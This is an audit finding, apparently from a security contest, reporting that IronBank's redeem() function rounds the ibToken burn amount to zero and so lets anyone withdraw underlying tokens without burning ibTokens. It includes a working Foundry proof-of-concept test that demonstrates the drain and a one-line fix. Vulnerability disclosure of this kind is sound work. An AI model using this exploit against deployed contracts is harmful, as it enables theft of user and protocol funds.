Norah

high

# Attacker Can Exploit IronBank's redeem() Function to Steal Funds from the Protocol

## Summary
The vulnerability stems from a clever manipulation of the redeem amount, where attackers can set the redeem amount in such a way that the resulting `ibTokenAmount` becomes zero due to rounding errors. However, the `redeem()` function does not include a check to prevent redemption when the `ibTokenAmount` is zero. 
This oversight allows attackers to exploit the vulnerability by calling IronBank's `redeem()` with a carefully crafted redeem amount, causing the function to erroneously redeem the entire underlyingAmount without burning any `ibToken`.

## Vulnerability Detail

Consider the exchangeRate to be 100x1e18

  -   Now Any user calls the redeem function with an underlyingAmount of 99.

  -   Amount to of ibToken to burn will be calculated ,as per following formula :
 
  https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/protocol/pool/IronBank.sol#L426 

  -   In our case ibTokenAmount will be evaluated as 99x1e18 / 100x1e18 resulting in **zero**.

  -   As there is no check like 
  
  ```solidity
                            if (ibTokenAmount == 0) { revert  ZeroRedeemNotAllowed(); }
   ```

  -   Users will get 99 amount of underlying **without burning any of their ibToken**.

Also, since there is no check whether the user has enough IBToken or not, anyone can call this function, no need to be even an ibToken holder.

Attackers can use a loop in contract to steal as many underlying tokens as per the gas limit.

## POC

Run this test in current repo, as it uses common.t.sol extensively.

```solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./Common.t.sol";

contract RedeemTest is Test, Common {
    int256 internal constant market1Price = 1500e8;
    int256 internal constant market2Price = 1000e8;
    uint16 internal constant reserveFactor = 1000; // 10%
    uint16 internal constant collateralFactor = 8000; // 80%

    IronBank ib;
    MarketConfigurator configurator;
    CreditLimitManager creditLimitManager;
    FeedRegistry registry;
    PriceOracle oracle;

    ERC20Market market1;
    ERC20Market market2;
    IBToken ibToken1;
    IBToken ibToken2;

    address admin = address(64);
    address user1 = address(128);
    address user2 = address(256);

    function setUp() public {
        ib = createIronBank(admin);

        configurator = createMarketConfigurator(admin, ib);

        vm.prank(admin);
        ib.setMarketConfigurator(address(configurator));

        creditLimitManager = createCreditLimitManager(admin, ib);

        vm.prank(admin);
        ib.setCreditLimitManager(address(creditLimitManager));

        TripleSlopeRateModel irm = createDefaultIRM();

        (market1, ibToken1,) = createAndListERC20Market(18, admin, ib, configurator, irm, reserveFactor);
        (market2, ibToken2,) = createAndListERC20Market(18, admin, ib, configurator, irm, reserveFactor);

        registry = createRegistry();
        oracle = createPriceOracle(admin, address(registry));

        vm.prank(admin);
        ib.setPriceOracle(address(oracle));

        setPriceForMarket(oracle, registry, admin, address(market1), address(market1), Denominations.USD, market1Price);
        setPriceForMarket(oracle, registry, admin, address(market2), address(market2), Denominations.USD, market2Price);

        configureMarketAsCollateral(admin, configurator, address(market1), collateralFactor);
        configureMarketAsCollateral(admin, configurator, address(market2), collateralFactor);

        deal(address(market1), user1, 100e18);
        //deal(address(market1), user2, 100e18);
        deal(address(market2), user2, 100e18);
    }

    function testRedeemZeroIbToken() public {

        //Just adding liquidity to market1 , so that user 2 can borrow and eventually help in increasing exchangeRate via interest accrued
        vm.startPrank(admin);
        market1.approve(address(ib), 100e18);
        ib.supply(admin, admin, address(market1), 5e18);
        vm.stopPrank();
        
        //User2 borrowing asset in market
        vm.startPrank(user2);
        market2.approve(address(ib), 100e18);
        ib.supply(user2, user2, address(market2), 10e18);
        ib.borrow(user2, user2, address(market1), 3e18);
        vm.stopPrank();

        //After 1 day of interest accrued on supplied asset, excahnge rate is more than initial rate of 1.
        //As far exchange rate is more than 1, it can be exploited, more the better.
        
        fastForwardTime(8640); // 1 Day

        //Now the Attacker (User1) just simply calls redeem() with 1 as argument
        uint256 redeemAmount = 1;
        
        uint256 Underlying_balance_before_redeem = market1.balanceOf(user1);
        uint256 IBToken_balance_before_redeem = ibToken1.balanceOf(user1);

        vm.prank(user1);
        ib.redeem(user1, user1, address(market1), redeemAmount);

        uint256 Underlying_balance_after_redeem = market1.balanceOf(user1);
        uint256 IBToken_balance_after_redeem = ibToken1.balanceOf(user1);

        uint256 Underlying_Gain =Underlying_balance_after_redeem - Underlying_balance_before_redeem;
        uint256 IBToken_loss = IBToken_balance_after_redeem - IBToken_balance_before_redeem;

        console.log('Underlying_Gain : %d',Underlying_Gain);
        console.log('IBToken_loss : %d',IBToken_loss);

        assertEq(IBToken_loss, 0);
        assertEq(Underlying_Gain, 1);

    }

}

```
Output : 

```solidity
Logs:
  Underlying_Gain : 1
  IBToken_loss : 0
```


## Impact
Loss of user and protocol funds

## Code Snippet

  https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/protocol/pool/IronBank.sol#L399-L451

## Tool used
Foundry
Manual Review

## Recommendation
Implement following check in redeem() : 

  ```solidity
                   if (ibTokenAmount == 0) { revert  ZeroRedeemNotAllowed(); }
  ```